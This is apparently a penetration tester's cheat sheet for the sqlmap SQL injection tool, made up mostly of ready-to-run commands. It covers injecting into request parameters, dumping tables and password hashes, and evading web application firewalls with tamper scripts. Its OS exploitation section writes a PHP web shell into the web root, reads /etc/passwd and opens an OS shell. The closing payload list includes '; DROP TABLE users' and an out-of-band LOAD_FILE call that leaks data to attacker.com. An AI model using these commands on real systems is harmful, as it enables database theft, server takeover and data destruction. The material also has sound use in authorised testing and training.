# SQLMAP

{% embed url="<https://github.com/sqlmapproject/sqlmap/wiki/Usage>" %}

{% embed url="<https://www.sqlinjection.net/sqlmap/tutorial/>" %}

{% embed url="<https://book.hacktricks.xyz/pentesting-web/sql-injection/sqlmap>" %}

## GET Request

```shell-session
python sqlmap.py -u 'http://inlanefreight.htb/page.php?id=5'
```

```shell-session
sqlmap -u "http://www.example.com/vuln.php?id=1" --batch
```

{% hint style="info" %}
Note: in this case, option '-u' is used to provide the target URL, while the switch '--batch' is used for skipping any required user-input, by automatically choosing using the default option.
{% endhint %}

<figure><img src="https://4199783661-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFF3hT6DtJlHn9jAel9%2Fuploads%2FcHcioNLbo2FnKUYQzU0C%2Fimage.png?alt=media&#x26;token=0dd91a2e-e7f6-44d9-8260-f062ef5f03c2" alt=""><figcaption></figcaption></figure>

```shell-session
sqlmap 'http://www.example.com/?id=1' -H 'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:80.0) Gecko/20100101 Firefox/80.0' -H 'Accept: image/webp,*/*' -H 'Accept-Language: en-US,en;q=0.5' --compressed -H 'Connection: keep-alive' -H 'DNT: 1'
```

## POST Request

```shell-session
sqlmap 'http://www.example.com/' --data 'uid=1&name=test'
```

{% hint style="info" %}
If we have a clear indication that the parameter uid is prone to an SQLi vulnerability, we could narrow down the tests to only this parameter using -p uid. Otherwise, we could mark it inside the provided data with the usage of special marker \*
{% endhint %}

```shell-session
sqlmap 'http://www.example.com/' --data 'uid=1*&name=test'
```

## Full Request

```shell-session
 sqlmap -r req.txt
```

## Cookies

```shell-session
sqlmap ... --cookie='PHPSESSID=ab4530f4a7d10448457fa8b0eadac29c'
```

```shell-session
sqlmap ... -H='Cookie:PHPSESSID=ab4530f4a7d10448457fa8b0eadac29c'
```

## HTTP Headers

We can apply the same to options like `--host`, `--referer`, and `-A/--user-agent`, which are used to specify the same HTTP headers' values.

&#x20;`--random-agent` : randomly select a `User-agent` header value.

While SQLMap, by default, targets only the HTTP parameters, it is possible to test the headers for the SQLi vulnerability. The easiest way is to specify the "custom" injection mark after the header's value (e.g. `--cookie="id=1*"`). The same principle applies to any other part of the request.

## PUT Request

```shell-session
 sqlmap -u www.target.com --data='id=1' --method PUT
```

## Dump Databases

`--dump` automatically dump all data.

`--dump-all --exclude-sysdbs`

## Display Errors

`--parse-errors`

## Verbose Output

```shell-session
sqlmap -u "http://www.target.com/vuln.php?id=1" -v 6 --batch
```

## Using Proxy

&#x20;`--proxy` option to redirect the whole traffic through a (MiTM) proxy (e.g., `Burp`)

## Prefix/Suffix

There is a requirement for special prefix and suffix values in rare cases, not covered by the regular SQLMap run. For such runs, options `--prefix` and `--suffix` can be used.

```php
$query = "SELECT id,name,surname FROM users WHERE id LIKE (('" . $_GET["q"] . "')) LIMIT 0,1";
$result = mysqli_query($link, $query);
```

```bash
sqlmap -u "www.example.com/?q=test" --prefix="%'))" --suffix="-- -"
```

```
sqlmap http://IP:PORT/test.php?col=id --random-agent --batch --dump --prefix='`)' --level=5 --risk=3
```

## Level/Risk

```shell-session
sqlmap -u www.example.com/?id=1 -v 3 --level=5
```

`--level` (`1-5`, default `1`)

`--risk` (`1-3`, default `1`)

```shell-session
sqlmap -u www.example.com/?id=1 --level=5 --risk=3
```

## Advanced Tuning

### **Status Codes**

For example, when dealing with a huge target response with a lot of dynamic content, subtle differences between `TRUE` and `FALSE` responses could be used for detection purposes. If the difference between `TRUE` and `FALSE` responses can be seen in the HTTP codes (e.g. `200` for `TRUE` and `500` for `FALSE`), the option `--code` could be used to fixate the detection of `TRUE` responses to a specific HTTP code (e.g. `--code=200`).

### **Titles**

If the difference between responses can be seen by inspecting the HTTP page titles, the switch `--titles` could be used to instruct the detection mechanism to base the comparison based on the content of the HTML tag `<title>`.

### **Strings**

In case of a specific string value appearing in `TRUE` responses (e.g. `success`), while absent in `FALSE` responses, the option `--string` could be used to fixate the detection based only on the appearance of that single value (e.g. `--string=success`).

### **Text-only**

When dealing with a lot of hidden content, such as certain HTML page behaviors tags (e.g. `<script>`, `<style>`, `<meta>`, etc.), we can use the `--text-only` switch, which removes all the HTML tags, and bases the comparison only on the textual (i.e., visible) content.

### **Techniques**

For example, if we want to skip the time-based blind and stacking SQLi payloads and only test for the boolean-based blind, error-based, and UNION-query payloads, we can specify these techniques with `--technique=BEU`.

### **UNION SQLi Tuning**

In some cases, `UNION` SQLi payloads require extra user-provided information to work. If we can manually find the exact number of columns of the vulnerable SQL query, we can provide this number to SQLMap with the option `--union-cols` (e.g. `--union-cols=17`). In case that the default "dummy" filling values used by SQLMap -`NULL` and random integer- are not compatible with values from results of the vulnerable SQL query, we can specify an alternative value instead (e.g. `--union-char='a'`).

Furthermore, in case there is a requirement to use an appendix at the end of a `UNION` query in the form of the `FROM <table>` (e.g., in case of Oracle), we can set it with the option `--union-from` (e.g. `--union-from=users`).

<figure><img src="https://4199783661-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFF3hT6DtJlHn9jAel9%2Fuploads%2FyDMberzYkV2qkSbXSdfO%2Fimage.png?alt=media&#x26;token=04c5e64e-a529-476a-a98e-2049b1d93211" alt=""><figcaption></figcaption></figure>

5 columns => `sqlmap http://83.136.251.226:45849/case7.php?id=1 --union-cols=5`

## Basic DB Data Enumeration

* hostname of the vulnerable target (`--hostname`),
* current user's name (`--current-user`),
* current database name (`--current-db`),
* password hashes (`--passwords`).

SQLMap will skip SQLi detection if it has been identified earlier and directly start the DBMS enumeration process.

Enumeration usually starts with the retrieval of the basic information:

* Database version banner (switch `--banner`)
* Current user name (switch `--current-user`)
* Current database name (switch `--current-db`)
* Checking if the current user has DBA (administrator) rights.

```shell-session
sqlmap -u "http://www.example.com/?id=1" --banner --current-user --current-db --is-dba
```

{% hint style="info" %}
Note: The 'root' user in the database context in the vast majority of cases does not have any relation with the OS user "root", other than that representing the privileged user within the DBMS context. This basically means that the DB user should not have any constraints within the database context, while OS privileges (e.g. file system writing to arbitrary location) should be minimalistic, at least in the recent deployments. The same principle applies for the generic 'DBA' role.
{% endhint %}

## Table Enumeration

```shell-session
sqlmap -u "http://www.example.com/?id=1" --tables -D testdb
```

```shell-session
sqlmap -u "http://www.example.com/?id=1" --dump -T users -D testdb
```

{% hint style="info" %}
Tip: Apart from default CSV, we can specify the output format with the option `--dump-format` to HTML or SQLite, so that we can later further investigate the DB in an SQLite environment.
{% endhint %}

```shell-session
sqlmap -u "http://www.example.com/?id=1" --dump -T users -D testdb -C name,surname

...SNIP...
Database: testdb

Table: users
[4 entries]
+--------+------------+
| name   | surname    |
+--------+------------+
| luther | blisset    |
| fluffy | bunny      |
| wu     | ming       |
| NULL   | nameisnull |
+--------+------------+
```

```shell-session
sqlmap -u "http://www.example.com/?id=1" --dump -T users -D testdb --start=2 --stop=3

...SNIP...
Database: testdb

Table: users
[2 entries]
+----+--------+---------+
| id | name   | surname |
+----+--------+---------+
| 2  | fluffy | bunny   |
| 3  | wu     | ming    |
+----+--------+---------+
```

## Conditional Enumeration

```shell-session
sqlmap -u "http://www.example.com/?id=1" --dump -T users -D testdb --where="name LIKE 'f%'"

...SNIP...
Database: testdb

Table: users
[1 entry]
+----+--------+---------+
| id | name   | surname |
+----+--------+---------+
| 2  | fluffy | bunny   |
```

## DB Schema Enumeration

```shell-session
sqlmap -u "http://www.example.com/?id=1" --schema
```

## Searching for Data

### Search Tables

```shell-session
sqlmap -u "http://www.example.com/?id=1" --search -T user
```

### Search Columns

```shell-session
sqlmap -u "http://www.example.com/?id=1" --search -C pass
```

## DB Users Password Enumeration and Cracking

Content of system tables containing database-specific credentials (e.g., connection credentials)

```shell-session
sqlmap -u "http://www.example.com/?id=1" --passwords --batch
```

## Bypass

### Anti-CSRF Token Bypass

```shell-session
sqlmap -u "http://www.example.com/" --data="id=1&csrf-token=WfF1szMUHhiokx9AHFply5L2xAOfjRkE" --csrf-token="csrf-token"
```

### Unique Value Bypass

```shell-session
sqlmap -u "http://www.example.com/?id=1&rp=29125" --randomize=rp --batch -v 5
```

### Calculated Parameter Bypass

&#x20;the option `--eval` should be used, where a valid Python code is being evaluated just before the request is being sent to the target

```shell-session
sqlmap -u "http://www.example.com/?id=1&h=c4ca4238a0b923820dcc509a6f75849b" --eval="import hashlib; h=hashlib.md5(id).hexdigest()" --batch -v 5
```

### WAF Bypass

#### User-agent Blacklisting Bypass

&#x20;`--random-agent`

#### Tamper Scripts

{% embed url="<https://redteamrecipe.com/awesome-sqlmap-tampers?showSharer=true>" %}

To get a whole list of implemented tamper scripts, along with the description as above, switch `--list-tampers` can be used

{% hint style="info" %}
Start with `--tamper=between,randomcase`
{% endhint %}

| **Tamper-Script**           | **Description**                                                                                                              |
| --------------------------- | ---------------------------------------------------------------------------------------------------------------------------- |
| `0eunion`                   | Replaces instances of UNION with e0UNION                                                                                     |
| `base64encode`              | Base64-encodes all characters in a given payload                                                                             |
| `between`                   | Replaces greater than operator (`>`) with `NOT BETWEEN 0 AND #` and equals operator (`=`) with `BETWEEN # AND #`             |
| `commalesslimit`            | Replaces (MySQL) instances like `LIMIT M, N` with `LIMIT N OFFSET M` counterpart                                             |
| `equaltolike`               | Replaces all occurrences of operator equal (`=`) with `LIKE` counterpart                                                     |
| `halfversionedmorekeywords` | Adds (MySQL) versioned comment before each keyword                                                                           |
| `modsecurityversioned`      | Embraces complete query with (MySQL) versioned comment                                                                       |
| `modsecurityzeroversioned`  | Embraces complete query with (MySQL) zero-versioned comment                                                                  |
| `percentage`                | Adds a percentage sign (`%`) in front of each character (e.g. SELECT -> %S%E%L%E%C%T)                                        |
| `plus2concat`               | Replaces plus operator (`+`) with (MsSQL) function CONCAT() counterpart                                                      |
| `randomcase`                | Replaces each keyword character with random case value (e.g. SELECT -> SEleCt)                                               |
| `space2comment`             | Replaces space character ( ) with comments \`/                                                                               |
| `space2dash`                | Replaces space character ( ) with a dash comment (`--`) followed by a random string and a new line ()                        |
| `space2hash`                | Replaces (MySQL) instances of space character ( ) with a pound character (`#`) followed by a random string and a new line () |
| `space2mssqlblank`          | Replaces (MsSQL) instances of space character ( ) with a random blank character from a valid set of alternate characters     |
| `space2plus`                | Replaces space character ( ) with plus (`+`)                                                                                 |
| `space2randomblank`         | Replaces space character ( ) with a random blank character from a valid set of alternate characters                          |
| `symboliclogical`           | Replaces AND and OR logical operators with their symbolic counterparts (`&&` and `\|`)                                       |
| `versionedkeywords`         | Encloses each non-function keyword with (MySQL) versioned comment                                                            |
| `versionedmorekeywords`     | Encloses each keyword with (MySQL) versioned comment                                                                         |

#### All in one

```
`sqlmap -r req.txt --level=5 --risk=3 --dbms="mysql" --dbs --tamper=between,bluecoat,charencode,charunicodeencode,concat2concatws,equaltolike,greatest,halfversionedmorekeywords,ifnull2ifisnull,modsecurityversioned,modsecurityzeroversioned,multiplespaces,percentage,randomcase,space2comment,space2hash,space2morehash,space2mysqldash,space2plus,space2randomblank,unionalltounion,unmagicquotes,versionedkeywords,versionedmorekeywords,xforwardedfor -p search`
```

#### Miscellaneous Bypasses

&#x20;`--chunked` splits the POST request's body into so-called "chunks." Blacklisted SQL keywords are split between chunks in a way that the request containing them can pass unnoticed

`HTTP parameter pollution` (`HPP`), where payloads are split in a similar way as in case of `--chunked` between different same parameter named values (e.g. `?id=1&id=UNION&id=SELECT&id=username,password&id=FROM&id=users...`), which are concatenated by the target platform if supporting it (e.g. `ASP`)

{% embed url="<https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/04-Testing_for_HTTP_Parameter_Pollution>" %}

{% embed url="<https://www.imperva.com/learn/application-security/http-parameter-pollution/>" %}

## OS Exploitation

### File Read/Write

Is DBA ?

```shell-session
sqlmap -u "http://www.example.com/case1.php?id=1" --is-dba
```

Read File

```shell-session
sqlmap -u "http://www.example.com/?id=1" --file-read "/etc/passwd"
```

Write File

```shell-session
echo '<?php system($_GET["cmd"]); ?>' > shell.php
```

```shell-session
sqlmap -u "http://www.example.com/?id=1" --file-write "shell.php" --file-dest "/var/www/html/shell.php"
```

```shell-session
curl http://www.example.com/shell.php?cmd=ls+-la
```

### OS Command Execution

```shell-session
sqlmap -u "http://www.example.com/?id=1" --os-shell
```

{% hint style="info" %}
SQLMap defaulted to `UNION` technique to get an OS shell, but eventually failed to give us any output `No output`

Try to specify another [technique](#techniques) `--technique=E`
{% endhint %}

```shell-session
sqlmap -u "http://www.example.com/?id=1" --os-shell --technique=E
```

## Techniques

The technique characters `BEUSTQ` refers to the following:

* `B`: Boolean-based blind
* `E`: Error-based
* `U`: Union query-based
* `S`: Stacked queries
* `T`: Time-based blind
* `Q`: Inline queries

### Boolean-based blind SQL Injection

```sql
AND 1=1
```

### Error-based SQL Injection

```sql
AND GTID_SUBSET(@@version,0)
```

### UNION query-based

```sql
UNION ALL SELECT 1,@@version,3
```

### Stacked queries

```sql
; DROP TABLE users
```

### Time-based blind SQL Injection

```sql
AND 1=IF(2>1,SLEEP(5),0)
```

### Inline queries

```sql
SELECT (SELECT @@version) from
```

### Out-of-band SQL Injection

```sql
LOAD_FILE(CONCAT('\\\\',@@version,'.attacker.com\\README.txt'))
```
